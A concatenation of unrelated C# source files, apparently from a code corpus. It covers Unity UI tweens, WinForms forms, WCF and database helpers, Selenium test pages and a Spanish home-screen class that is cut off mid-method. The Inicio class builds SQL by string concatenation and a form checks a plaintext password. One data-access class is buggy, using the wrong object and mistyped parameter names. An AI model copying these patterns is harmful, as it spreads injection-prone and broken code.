{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
Tweener tween = transform.DOScale(new Vector3(0, 0, 0), duration);
FillOutTween(transform, easeType, onCompleteCallback, deactiveOnComplete, image, tween);
return tween;
}
/// <summary>
/// Scale In along X a Ui Transform
/// </summary>
/// <param name="transform">self transform</param>
/// <param name="duration">scale tween duration</param>
/// <param name="easeType">tween easeType</param>
/// <param name="onCompleteCallback">scale in completion callback</param>
/// <param name="blockRaycast">block raycasts during tweening</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener ScaleInX(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool blockRaycast = false)
{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
transform.localScale = new Vector2(0, 1);
Tweener tween = transform.DOScale(new Vector3(1, 1, 1), duration);
FillInTween(easeType, onCompleteCallback, image, tween);
return tween;
}
/// <summary>
/// Scale Out along X a Ui Transform
/// </summary>
/// <param name="transform">self transform</param>
/// <param name="duration">scale tween duration</param>
/// <param name="easeType">tween easeType</param>
/// <param name="onCompleteCallback">scale out completion callback</param>
/// <param name="blockRaycast">block raycasts during tweening</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener ScaleOutX(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool deactiveOnComplete = false,
bool blockRaycast = false)
{
var image = InitCanvasGroup(transform, blockRaycast);
Tweener tween = transform.DOScale(new Vector2(0, 1), duration);
FillOutTween(transform, easeType, onCompleteCallback, deactiveOnComplete, image, tween);
return tween;
}
/// <summary>
/// Scale In along Y a Ui Transform
/// </summary>
/// <param name="transform">self transform</param>
/// <param name="duration">scale tween duration</param>
/// <param name="easeType">tween easeType</param>
/// <param name="onCompleteCallback">scale in completion callback</param>
/// <param name="blockRaycast">block raycasts during tweening</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener ScaleInY(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool blockRaycast = false)
{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
transform.localScale = new Vector2(1, 0);
Tweener tween = transform.DOScale(new Vector3(1, 1, 1), duration);
FillInTween(easeType, onCompleteCallback, image, tween);
return tween;
}
/// <summary>
/// Scale Out along Y a Ui Transform
/// </summary>
/// <param name="transform">self transform</param>
/// <param name="duration">scale tween duration</param>
/// <param name="easeType">tween easeType</param>
/// <param name="onCompleteCallback">scale out completion callback</param>
/// <param name="blockRaycast">block raycasts during tweening</param>
/// <returns>returns Tweener that can be used for other purposes.</returns>
public static Tweener ScaleOutY(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool deactiveOnComplete = false,
bool blockRaycast = false)
{
var image = InitCanvasGroup(transform, blockRaycast);
Tweener tween = transform.DOScale(new Vector2(1, 0), duration);
FillOutTween(transform, easeType, onCompleteCallback, deactiveOnComplete, image, tween);
return tween;
}
#endregion
#region Slide
public static Tweener SlideIn(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool deactiveOnComplete = false,
bool blockRaycast = false,
slideDirection direction = slideDirection.up)
{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
var xOffset = Screen.width;
var yOffset = Screen.height;
var startPos = transform.position;
switch (direction)
{
case slideDirection.left:
transform.position += new Vector3(-xOffset, 0f);
break;
case slideDirection.right:
transform.position += new Vector3(xOffset, 0f);
break;
case slideDirection.up:
transform.position += new Vector3(0, yOffset);
break;
case slideDirection.down:
transform.position += new Vector3(0, -yOffset);
break;
}
Tweener tween = transform.DOMove(startPos, duration);
FillOutTween(transform, easeType, onCompleteCallback, deactiveOnComplete, image, tween);
return tween;
}
public static Tweener SlideOut(this Transform transform,
float duration,
Ease easeType = Ease.Linear,
Action onCompleteCallback = null,
bool deactiveOnComplete = false,
bool blockRaycast = false,
slideDirection direction = slideDirection.up)
{
CanvasGroup image = InitCanvasGroup(transform, blockRaycast);
var xOffset = Screen.width;
var yOffset = Screen.height;
var startPos = transform.position;
var destPos = transform.position;
switch (direction)
{
case slideDirection.left:
destPos += new Vector3(-xOffset, 0f);
break;
case slideDirection.right:
destPos += new Vector3(xOffset, 0f);
break;
case slideDirection.up:
destPos += new Vector3(0, yOffset);
break;
case slideDirection.down:
destPos += new Vector3(0, -yOffset);
break;
}
Tweener tween = transform.DOMove(destPos, duration);
tween.SetEase(easeType);
tween.OnComplete(() =>
{
if (onCompleteCallback != null)
onCompleteCallback.Invoke();
image.blocksRaycasts = true;
transform.position = startPos;
if (deactiveOnComplete)
transform.gameObject.SetActive(false);
});
return tween;
}
#endregion
private static CanvasGroup InitCanvasGroup(Transform transform, bool blockRaycast)
{
if (!transform.gameObject.activeInHierarchy) transform.gameObject.SetActive(true);
var image = transform.GetComponent<CanvasGroup>();
if (image == null) image = transform.gameObject.AddComponent<CanvasGroup>();
image.alpha = 1;
image.blocksRaycasts = blockRaycast;
transform.localScale = new Vector3(1, 1, 1);
return image;
}
private static void FillInTween(Ease easeType, Action onCompleteCallback, CanvasGroup image, Tweener tween)
{
tween.SetEase(easeType);
tween.OnComplete(() =>
{
if (onCompleteCallback != null)
onCompleteCallback.Invoke();
image.blocksRaycasts = true;
});
}
private static void FillOutTween(Transform transform, Ease easeType, Action onCompleteCallback, bool deactiveOnComplete, CanvasGroup image, Tweener tween)
{
tween.SetEase(easeType);
tween.OnComplete(() =>
{
if (onCompleteCallback != null)
onCompleteCallback.Invoke();
image.blocksRaycasts = true;
if (deactiveOnComplete)
transform.gameObject.SetActive(false);
});
}
}
} |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.XtraBars;
namespace SDI_LCS
{
public partial class Form_Password : DevExpress.XtraBars.Ribbon.RibbonForm
{
Form1 Main;
public Form_Password()
{
InitializeComponent();
}
public Form_Password(Form1 CS_Main)
{
Main = CS_Main;
InitializeComponent();
}
private void btn_ok_Click(object sender, EventArgs e)
{
if (tb_password.Text == Form1.log_on_password)
Main.FLAG_LOG_ON_PASSWORD = 1;
else
MessageBox.Show("입력하신 암호가 아닙니다.\n 관리자에게 문의하세요");
Close();
}
private void btn_cancel_Click(object sender, EventArgs e)
{
Close();
}
private void Form_Password_Shown(object sender, EventArgs e)
{
tb_password.Clear();
tb_password.Focus();
}
private void tb_password_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
btn_ok.PerformClick();
}
private void Form_Password_Load(object sender, EventArgs e)
{
}
}
} |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace IxSApp
{
public partial class Card : UserControl
{
public Card()
{
InitializeComponent();
}
private void Card_Paint(object sender, PaintEventArgs e)
{
e.Graphics.DrawRectangle(Pens.LightYellow, new Rectangle(1, Height, Width - 1, Height));
}
}
}
|
using System;
using System.Data;
using DrasCommon.Classes;
using DrasCommon.Datalayer;
namespace DrasCommon.Utilities
{
public class DRASLog
{
//public string Application { get; set; }
//public string PIN { get; set; }
//public string Message { get; set; }
/******************************************************************************************
*
******************************************************************************************/
public int LogMessage(string application = null, string pin = null, string message = null)
{
ExecStoredProcedure sp = null;
int rc;
try
{
sp = new ExecStoredProcedure(SharedConstants.SP_DRASLOGMESSAGE);
if (!string.IsNullOrEmpty(application))
sp.SPAddParm("@application", SqlDbType.NVarChar, application, ParameterDirection.Input);
if (!string.IsNullOrEmpty(pin))
sp.SPAddParm("@pin", SqlDbType.NVarChar, pin, ParameterDirection.Input);
if (!string.IsNullOrEmpty(message))
sp.SPAddParm("@message", SqlDbType.NVarChar, message, ParameterDirection.Input);
rc = sp.SPmodify();
}
catch (Exception ex)
{
throw ex;
}
finally
{
sp.dbConnection.Close();
}
return rc;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Data;
namespace MVPSampleBLL.Model
{
internal class XMLManager
{
private string myXml = string.Empty;
public XMLManager(string xmlFilename)
{
myXml = xmlFilename;
}
/// <summary>Lê o arquivo XML passado como parâmetro no construtor da classe.</summary>
/// <returns>Um DataSet contendo todo o conteúdo do arquivo.</returns>
public DataSet GetAppData()
{
DataSet myData = null;
try
{
myData = new DataSet();
//Lê o arquivo XML
myData.ReadXml(myXml);
}
catch (Exception ex)
{
throw new Exception(string.Format("Ocorreu um problema ao ler o arquivo de dados. Verifique se o caminho [{0}] corresponde ao arquivo físico.", myXml), ex);
}
return myData;
}
/// <summary>Insere um novo registro no XML.</summary>
/// <param name="name">Nome do alimento a ser inserido.</param>
/// <param name="price">Preço do alimento a ser inserido.</param>
/// <param name="description">Descrição do alimento a ser inserido.</param>
/// <param name="calories">Quantidade de calorias do alimento a ser inserido.</param>
public void InsertRow(string name, string price, string description, string calories)
{
DataSet myData = null;
try
{
//Cria um instância de um objeto DataSet
myData = new DataSet();
//Lê o arquivo XML
myData.ReadXml(myXml);
//Adiciona uma linha na tabela food com os valores informados.
myData.Tables["food"].
Rows.Add(name, price, description, calories);
//Escreve o XML com o novo registro, substituindo o anterior.
myData.WriteXml(myXml);
}
catch (Exception ex)
{
throw new Exception(string.Format("Ocorreu um problema ao ler o arquivo de dados. Verifique se o caminho[{0}] corresponde ao arquivo físico.", myXml), ex);
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.ServiceModel;
using Phenix.Core.Message;
using Phenix.Core.Net;
using Phenix.Core.Security;
using Phenix.Services.Contract;
namespace Phenix.Services.Client.Library.Wcf
{
internal class MessageProxy : IMessage
{
#region 方法
private static ChannelFactory<Phenix.Services.Contract.Wcf.IMessage> GetChannelFactory()
{
return new ChannelFactory<Phenix.Services.Contract.Wcf.IMessage>(WcfHelper.CreateBinding(),
new EndpointAddress(WcfHelper.CreateUrl(NetConfig.ServicesAddress, ServicesInfo.MESSAGE_URI)));
}
#region IMessage 成员
public void Send(string receiver, string content, UserIdentity identity)
{
NetConfig.InitializeSwitch();
do
{
try
{
ChannelFactory<Phenix.Services.Contract.Wcf.IMessage> channelFactory = GetChannelFactory();
Phenix.Services.Contract.Wcf.IMessage channel = channelFactory.CreateChannel();
try
{
channel.Send(receiver, content, identity);
channelFactory.Close();
}
catch
{
channelFactory.Abort();
throw;
}
break;
}
catch (EndpointNotFoundException)
{
if (!NetConfig.SwitchServicesAddress())
return;
}
} while (true);
}
public IDictionary<long, string> Receive(UserIdentity identity)
{
NetConfig.InitializeSwitch();
do
{
try
{
ChannelFactory<Phenix.Services.Contract.Wcf.IMessage> channelFactory = GetChannelFactory();
Phenix.Services.Contract.Wcf.IMessage channel = channelFactory.CreateChannel();
object result = null;
try
{
result = channel.Receive(identity);
channelFactory.Close();
}
catch
{
channelFactory.Abort();
throw;
}
Exception exception = result as Exception;
if (exception != null)
throw exception;
return (IDictionary<long, string>)result;
}
catch (EndpointNotFoundException)
{
if (!NetConfig.SwitchServicesAddress())
throw;
}
} while (true);
}
public void AffirmReceived(long id, bool burn, UserIdentity identity)
{
NetConfig.InitializeSwitch();
do
{
try
{
ChannelFactory<Phenix.Services.Contract.Wcf.IMessage> channelFactory = GetChannelFactory();
Phenix.Services.Contract.Wcf.IMessage channel = channelFactory.CreateChannel();
try
{
channel.AffirmReceived(id, burn, identity);
channelFactory.Close();
}
catch
{
channelFactory.Abort();
throw;
}
break;
}
catch (EndpointNotFoundException)
{
if (!NetConfig.SwitchServicesAddress())
return;
}
} while (true);
}
#endregion
#endregion
}
} |
using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TricareManagementSystem.Model;
namespace TricareManagementSystem.DataAccess.Employee
{
public class AddNewComment
{
public CommentDTO Comment { get; set; }
public bool Add()
{
SqlParameter[] _parameters =
{
new SqlParameter("@UserId",Department.UserId),
new SqlParameter("@RegulationId",Department.RegulationId),
new SqlParameter(" @Acceptance",Department.Acceptance),
new SqlParameter("@Description ",Department.Description),
new SqlParameter("@DateOfCreation",Department.DateOfCreation),
new SqlParameter("@DateOfModification",Department.DateOfModification)
};
DataBaseHelper dbHelper = new DataBaseHelper(StoredProcedure.ADD_COMMENT);
dbHelper.Parameters = _parameters;
return dbHelper.ExcecuteNonQuery();
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace KartExchangeEngine
{
[Serializable]
public class ErrorList
{
public ErrorList()
{
Errors = new List<Error>();
}
public string FileName
{
get;
set;
}
public long ExtId
{
get;
set;
}
public DateTime DateDoc
{
get;
set;
}
public DateTime ImportDateTime
{
get;
set;
}
public List<Error> Errors
{
get;
set;
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class GotoMainGame : MonoBehaviour {
// Update is called once per frame
public void GotoGame () {
SceneManager.LoadScene(2);
}
}
|
using System;
namespace Marten.Events
{
public interface IEvent
{
Guid Id { get; set; }
}
} |
using Microsoft.CodeAnalysis.CSharp;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;
namespace ParallelSerializer.Generator
{
public static class SerializerState
{
internal static List<Type> KnownTypesSerialize { get; } = new List<Type> { typeof(string), typeof(int), typeof(long), typeof(short),
typeof(bool), typeof(double), typeof(byte), typeof(char), typeof(byte), typeof(sbyte), typeof(float),
typeof(uint), typeof(ulong), typeof(ushort), typeof(DateTime) };
internal static List<string> References { get; } = new List<string>();
public static Func<object, SerializationContext, IScheduler, SerializationTask<object>> DispatcherFactory { get; set; }
internal static Assembly GeneratedAssembly { get; set; }
internal static CSharpCompilation Compilation { get; set; }
}
}
|
using System;
namespace com.Sconit.Entity.SI.SD_ORD
{
[Serializable]
public partial class MiscOrderMaster
{
#region O/R Mapping Properties
//计划外出入库单号
public string MiscOrderNo { get; set; }
//计划外出入库类型
public com.Sconit.CodeMaster.MiscOrderType Type { get; set; }
//状态
public com.Sconit.CodeMaster.MiscOrderStatus Status { get; set; }
//是否扫描条码
public Boolean IsScanHu { get; set; }
//质量状态
public CodeMaster.QualityType QualityType { get; set; }
//移动类型
public string MoveType { get; set; }
//冲销时的移动类型
public string CancelMoveType { get; set; }
//供货工厂对应的区域,跨工厂移库时代表出库区域
public string Region { get; set; }
//库存地点对应的库位
public string Location { get; set; }
//收货地点,为SAP库位不用翻译
public string ReceiveLocation { get; set; }
//移动原因
public string Note { get; set; }
//成本重新
public string CostCenter { get; set; }
//出货通知
public string Asn { get; set; }
//内部订单号
public string ReferenceNo { get; set; }
//工厂代码,为SAP代码,非跨工厂移库时,会从Region字段找到对应的Plant填到该字段上面
public string DeliverRegion { get; set; }
//WBS元素
public string WBS { get; set; }
public DateTime EffectiveDate { get; set; }
//public Int32 CreateUserId { get; set; }
//public string CreateUserName { get; set; }
//public DateTime CreateDate { get; set; }
//public Int32 LastModifyUserId { get; set; }
//public string LastModifyUserName { get; set; }
//public DateTime LastModifyDate { get; set; }
//public DateTime? CloseDate { get; set; }
//public Int32? CloseUserId { get; set; }
//public string CloseUserName { get; set; }
//public DateTime? CancelDate { get; set; }
//public Int32? CancelUserId { get; set; }
//public string CancelUserName { get; set; }
public Int32 Version { get; set; }
#endregion
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class EnemyOnHit : MonoBehaviour {
public Enemy enemy;
public Animator anim;
private void Start()
{
anim = GetComponent<Animator>();
enemy = GetComponent<Enemy>();
}
private void OnTriggerEnter(Collider collision)
{
if (collision.gameObject.tag == ("Bullet"))
{
//TODO take a certain damage and play animation.
}
if (collision.gameObject.tag == ("FishingRod"))
{
//enemy.TakeDamage(5f);
anim.SetBool("Punched", true);
}
}
}
|
using Framework.Core.Common;
using OpenQA.Selenium;
using Tests.Pages.Oberon;
namespace Tests.Pages.FastAction
{
public class FastActionBase : OberonBasePage
{
#region Page Objects
#endregion
public string FirstName { get; set; }
public string LastName { get; set; }
public string AddressLine1 { get; set; }
public string AddressLine2 { get; set; }
public string City { get; set; }
public string State { get; set; }
public string PostalCode { get; set; }
public string HomePhone { get; set; }
public string EmailAddress { get; set; }
public string Employer { get; set; }
public string Occupation { get; set; }
public string ContributionOtherAmount { get; set; }
public string CreditCardNumber { get; set; }
public string ExpirationMonth { get; set; }
public string ExpirationYear { get; set; }
public FastActionBase(Driver driver) : base(driver)
{
FirstName = FakeData.RandomLetterString(5);
LastName = FakeData.RandomLetterString(5);
AddressLine1 = FakeData.RandomLetterString(10);
AddressLine2 = FakeData.RandomLetterString(10);
City = FakeData.RandomLetterString(10);
State = FakeData.RandomState();
PostalCode = FakeData.RandomNumberString(5);
HomePhone = FakeData.RandomNumberString(10);
EmailAddress = FakeData.RandomEmailAddress();
Employer = FakeData.RandomLetterString(8);
Occupation = FakeData.RandomLetterString(8);
ContributionOtherAmount = FakeData.RandomNumberInt(3, 99).ToString();
CreditCardNumber = "4111111111111111";
ExpirationMonth = FakeData.RandomExpirationMonth();
ExpirationYear = FakeData.RandomExpirationYear();
}
#region Methods
public void Select(string menuLink)
{
_driver.FindElement(By.CssSelector(menuLink)).Click();
}
public void Profile()
{
Select("a[href='/profile']");
}
public void Privacy()
{
Select("a[href='/privacy']");
}
public void Transaction()
{
Select("a[href='/transactions']");
}
public void Terms()
{
Select("a[href='/terms']");
}
public void PoweredByWho()
{
Select("a[href='#powered']");
}
public void KeepSafe()
{
Select("a[href='#safe']");
}
public void IsMyInfoSecure()
{
Select("a[href='#secure']");
}
public void WhatsThis()
{
Select("a[href='#whats-this']");
}
public void Login()
{
Select("a[href='#login']");
}
public void Signup()
{
Select("a[href='#signup']");
}
public void Logos()
{
Select("a.logos");
}
//#region Page Objects
//[FindsBy(How = How.CssSelector, Using = "")]
//public IWebElement ButtonX;
//[FindsBy(How = How.CssSelector, Using = ".fa-modal-disclaimer-wrapper>a[href='/terms']")]
//public IWebElement LinkTermsOfService;
//[FindsBy(How = How.CssSelector, Using = ".fa-modal-disclaimer-wrapper>a[href='/privacy']")]
//public IWebElement LinkPrivacyPolicy;
//[FindsBy(How = How.CssSelector, Using = "#signup")]
//public IWebElement LinkSignUp;
//[FindsBy(How = How.CssSelector, Using = "css=.fa-modal-powered-by>a:contains('NGP VAN')")]
//public IWebElement LinkNgpvan;
//#endregion
#endregion
}
}
|
using System;
using System.Collections.Generic;
namespace MinOstov
{
public class PlanePoint
{
public PlanePoint(int x, int y, int number)
{
X = x;
Y = y;
Number = number;
NeighboringPoints = new List<PlanePoint>();
Visited = false;
}
public PlanePoint()
{ }
public List<PlanePoint> NeighboringPoints;
public int X { get; set; }
public int Y { get; set; }
public int Number { get; set; }
public bool Visited { get; set; }
public int DistanceToOtherPoint(PlanePoint otherPoint)
{
return Math.Abs(X - otherPoint.X) + Math.Abs(Y - otherPoint.Y);
}
}
} |
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
namespace snake3D
{
public class Control : MonoBehaviour
{
[Header("spead delay rotation camera")]
public float speadRotation;
[Header("spead delay move camera")]
public float speadMove;
public Transform cameraContainer;
public List<Transform> segments;
public Transform mirror;
public bool isCrash;
float timeDelay;
private Transform mainCamera;
float distancing;
[SerializeField]
Button[] buttons_of_Control;
public Material DefauldMaterial;
public Material FadeMaterial;
RaycastHit[] hits = null;
public Transform pointerCamera;
private void Start()
{
timeDelay = PlayerPrefs.GetFloat("timeDelay");
timeDelay = (timeDelay != 0) ? timeDelay : 1f;
StartCoroutine(moveForward());
distancing = 1f;
mainCamera = cameraContainer.GetChild(0).transform;
}
public void StopMove()
{
StopAllCoroutines();
isCrash = false;
}
// Update is called once per frame
void Update()
{
if (!isCrash)
{
cameraContainer.rotation = Quaternion.Lerp(cameraContainer.rotation, transform.rotation, Time.deltaTime * speadRotation);
cameraContainer.position = Vector3.Lerp(cameraContainer.position, transform.position, Time.deltaTime * speadMove);
}
else
{
cameraContainer.position = Vector3.Lerp(cameraContainer.position, Vector3.zero, Time.deltaTime * speadMove);
distancing = Mathf.Lerp(distancing, 0, Time.deltaTime * 6);
mainCamera.Translate(-Vector3.forward * distancing, Space.Self);
}
}
public IEnumerator moveForward()
{
RaycastHit pointhit;
while (true)
{
yield return new WaitForSeconds(timeDelay);
for (int i = segments.Count - 1; i > 0; i--)
segments[i].position = segments[(i - 1)].position;
// return material hidden sigments {{
if (hits != null)
foreach (RaycastHit hit in hits)
hit.collider.gameObject.GetComponent<MeshRenderer>().material = DefauldMaterial; // }}
segments[0].position = gameObject.transform.position;
gameObject.transform.Translate(Vector3.forward);
// ray for Teleport {{
if (Physics.Raycast(transform.position, transform.forward, out pointhit, Mathf.Infinity, (1 << 12)))
{
mirror.position = pointhit.point;
mirror.rotation = transform.rotation;
} // }}
foreach (Button b in buttons_of_Control)
b.interactable = true;
// Hidden segments between camera and snake head {{
hits = Physics.RaycastAll(pointerCamera.position, pointerCamera.forward, 30f, (1 << 13));
foreach (RaycastHit hit in hits)
hit.collider.gameObject.GetComponent<MeshRenderer>().material = FadeMaterial; // }}
}
}
public void Turn(int kay)
{
switch (kay)
{
case 1:
transform.Rotate(Vector3.right, 90); // up
buttons_of_Control[0].interactable = false;
break;
case 2:
transform.Rotate(Vector3.left, 90); // down
buttons_of_Control[1].interactable = false;
break;
case 3:
transform.Rotate(Vector3.down, 90); // left
buttons_of_Control[2].interactable = false;
break;
case 4:
transform.Rotate(Vector3.up, 90); // right
buttons_of_Control[3].interactable = false;
break;
}
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
/// <summary>
/// Descripción breve de Inicio
/// </summary>
public class Inicio
{
/// <summary>
/// MÉTODO CONSTRUCTOR POR DEFECTO
/// </summary>
#region método_constructor
public Inicio() {
}
#endregion
/// <summary>
/// Variables con GET/SET
/// </summary>
#region declaración_varaibles
public int iIdUsuario { set; get; }
public int iIdPantallaInicio { set; get; }
public int iIdPantallaFrecuente { set; get; }
public int type { set; get; }
public int iIdUsuarioAccion { set; get; }
public int iTipoUsuario { get; set; }
//Variables para retornar el resultado
public int iResultado { set; get; }
public string sMensaje { set; get; }
public string sContenido { set; get; }
#endregion
/// <summary>
/// Método para guardar la pantalla de inicio del usuario
/// </summary>
/// <param name="obj_inicio"></param>
#region fn_guardar_pantalla_inicio
public void fn_guardar_pantalla_inicio(Inicio obj_inicio){
//Se instancia la clase conexión
Conexion obj_conexion = new Conexion();
//Nombre del procedimiento almacenado
string sRes = obj_conexion.generarSP("pa_GuardarPantallaInicio", 0);
if (sRes == "1")
{
try
{
//Se pasan los parametros del SP
obj_conexion.agregarParametroSP("@iIdUsuario", SqlDbType.Int, obj_inicio.iIdUsuario.ToString());
obj_conexion.agregarParametroSP("@iIdPantallaInicio", SqlDbType.VarChar, obj_inicio.iIdPantallaInicio.ToString());
//Se ejecuta el SP
sRes = obj_conexion.ejecutarProc();
}
catch (Exception ex)
{
//Se captura el error en caso de haber
sRes = ex.Message;
}
}
//Si el SP se ejecutó correctamente se retorna el mensaje de éxito
if (sRes == "1")
{
obj_inicio.iResultado = 1;
obj_inicio.sMensaje = "Pantalla de inicio asignada correctamente a usuario.";
}
//Si el SP no se ejecutó correctamente se retorna el mensaje de error
else
{
obj_inicio.iResultado = 0;
obj_inicio.sMensaje = sRes;
}
}
#endregion
/// <summary>
/// Método para mostrar la pantalla de inicio
/// </summary>
/// <param name="obj_inicio"></param>
#region fn_mostrar_pantalla_inicio
public void fn_mostrar_pantalla_inicio(Inicio obj_inicio)
{
//Se crea una variable en donde se almacenará el resultado
string[] sResultado;
//Se crea una instancia de la clase Conexion
Conexion obj_conexion = new Conexion();
//Se crea la consulta que obtendrá la pantalla que tiene configurada el usuario
string sQuery = "SELECT iIdTipoPantalla FROM tb_Usuarios WHERE iIdUsuario=" + obj_inicio.iIdUsuario;
sResultado = obj_conexion.ejecutarConsultaRegistroSimple(sQuery);
obj_inicio.iResultado = int.Parse(sResultado[0]);
obj_inicio.iIdPantallaInicio = int.Parse(sResultado[1]);
}
#endregion
/// <summary>
/// Método para mostrar las Pantallas Frecuentes
/// </summary>
/// <param name="obj_inicio"></param>
#region fn_vista_pantallas_frecuentes
public void fn_vista_pantallas_frecuentes(Inicio obj_inicio)
{
//Se crea una variable en donde se almacenará el resultado
string[] sResultado;
//Se crea una instancia de la clase Conexion
Conexion obj_conexion = new Conexion();
//Se crea la variable lista
List<Inicio> lstLista = new List<Inicio>();
//Se cre un objeto dataset
DataSet lstListaPantallasFrecuentes;
//Variable para almacenar el id del empleado encriptado
string sIdUsuarioEncrip;
//Variable para almacenar el tipo del empleado encriptado
string sIdTiporUsuario;
//Se crea la consulta que obtendrá si este usuario ya tenga asignadas pantallas
string sQuery = "SELECT COUNT(*) FROM tr_PantallaFrecuente_Usuario WHERE iIdUsuario=" + obj_inicio.iIdUsuario;
//Se ejecuta la consulta de registros
sResultado = obj_conexion.ejecutarConsultaRegistroSimple(sQuery);
if (sResultado[1] != "0")
{
//Consulta para obtener datos de las pantallas frecuentes
sQuery = "SELECT iIdSubMenu, iIdUsuario, iIdTipoUsuario, sNombreSubMenu, sIcono, sURL FROM v_PantallasFrecuentesUsuario WHERE iIdUsuario=" + obj_inicio.iIdUsuario;
//Ejecutar consulta
lstListaPantallasFrecuentes = obj_conexion.ejecutarConsultaRegistroMultiplesDataSet(sQuery, "lstPantallasFrecuentes");
//Se da un valor a iResultado
obj_inicio.iResultado = 1;
if (lstListaPantallasFrecuentes.Tables["lstPantallasFrecuentes"].Rows.Count > 0)
{
obj_inicio.sContenido += "<div class='row'>";
foreach (DataRow registro in lstListaPantallasFrecuentes.Tables["lstPantallasFrecuentes"].Rows)
{
//Se encripta el id de tipo usuario
Security typeCtrl = new Security(registro["iIdSubMenu"].ToString());
sIdTiporUsuario = typeCtrl.Encriptar();
//Se encripta el id de usuario
Security idSec = new Security(registro["iIdUsuario"].ToString());
sIdUsuarioEncrip = idSec.Encriptar();
obj_inicio.sContenido += "<div class='col-xs-6 col-sm-3 col-md-2 col-lg-2' style='text-align:center'>";
obj_inicio.sContenido += "<div class='icon_inicio'>";
obj_inicio.sContenido += "<a style='text-decoration:none;' href='" + registro["sURL"].ToString() + "?sTypeCtrlAc=" + sIdTiporUsuario + "'><span class='" + registro["sIcono"].ToString() + "' aria-hidden='true' style='font-size:65px;color:#90C63D;margin-bottom:2px;'></span><span class='spn_title' data-toggle='tooltip' data-placement='bottom' data-original-title='" + registro["sNombreSubMenu"].ToString() + "'>" + registro["sNombreSubMenu"].ToString() + "</span></a>";
//obj_inicio.sContenido += "<p class='clear'><a href='" + registro["sURL"].ToString() + "?sTypeCtrlAc=" + sIdTiporUsuario + "'>" + registro["sNombreSubMenu"].ToString() + "</a></p>";
obj_inicio.sContenido += "</div>";
obj_inicio.sContenido += "</div>";
}
obj_inicio.sContenido += "</div>";
if (int.Parse(sResultado[1]) <= 6)
{
obj_inicio.sContenido += "<div class='col-lg-12' style='min-height:150px;'>";
obj_inicio.sContenido += "</div>";
}
}
}
else
{
//Si no tiene configuración se crea un div vacio
obj_inicio.iResultado = 1;
obj_inicio.sContenido = "<div class='container-fluid'>";
obj_inicio.sContenido += "<div class='row' style='min-height:250px;'>";
obj_inicio.sContenido += "</div>";
}
//Botón para seleccionar las pantallas frecuentes
obj_inicio.sContenido += "<div class='row'>";
obj_inicio.sContenido += "<div class='text-right'><a style='bottom:0;' href='#_' data-toggle='modal' data-target='#dialogSeleccionarPantallaFrecuente' onclick='javascript:fn_generar_lista_pantallas_frecuentes();'>Seleccionar pantalla inicio</a></div>";
obj_inicio.sContenido += "</div>";
obj_inicio.sContenido += "</div>";
}
#endregion
/// <summary>
/// Método para generar la estructura de la lista de pantallas frecuentes
/// </summary>
/// <param name="obj_inicio"></param>
#region fn_generar_lista_pantallas_frecuentes
public void fn_generar_lista_pantallas_frecuentes(Inicio obj_inicio)
{
///varialbe con inicializaion de tabla
string sResultado = "<div class='table-responsive'><table id='htblPantallasFrecuentes' class='table table-striped table-bordered table-hover' cellspacing='0' width='100%'>" +
"<thead style='display:table-row-group;'>" +
"<tr>";
///variable arreglo que deposita nombre de las columnas
string[] sHeader = new string[] { "Nombre pantalla", "Menú", "Eliminar" };
///ciclo para agregar columna al header
foreach (string sColumna in sHeader)
{
sResultado += "<th>" + sColumna + "</th>";
}
//se cierra el header
sResultado += "</tr></thead>";
//se abre footer de la tabla
sResultado += "<tfoot style='display: table-header-group;'><tr>";
///ciclo para agregar columna de busqueda a footer
foreach (string sColumna in sHeader)
{
if (sColumna != "Eliminar")
sResultado += "<td><input type='text' style='width: 90%;' class='form-control input-sm' /></td>";
else
sResultado += "<td></td>";
}
//se cierra la tabla
sResultado += "</tr></tfoot><tbody></tbody></table></div>";
obj_inicio.sContenido = sResultado;
//retorno de tabla completa
}
#endregion
/// <summary>
/// Método para validar el agregar la pantalla frecuente
/// </summary>
/// <param name="obj_inicio"></param>
#region fn_validar_agregar_pantalla_frecuente
public void fn_validar_agregar_pantalla_frecuente(Inicio obj_inicio)
{
//Se crea una variable en donde se almacenará el resultado
string[] sResultado;
//Se crea una instancia de la clase Conexion
Conexion obj_conexion = new Conexion();
//Se crea la consulta que obtendrá si este cliente ya esta asignado a ese usuario
string sQuery = "SELECT COUNT(*) FROM tr_PantallaFrecuente_Usuario WHERE iIdSubmenu=" + obj_inicio.iIdPantallaFrecuente + " and iIdUsuario=" + obj_inicio.iIdUsuario;
sResultado = obj_conexion.ejecutarConsultaRegistroSimple(sQuery);
//Se verifica que se ejecute la consulta de manera exitosa
if (sResultado[0].ToString() == "1")
{
//Si el cliente ya esta asignado se retorna una alerta
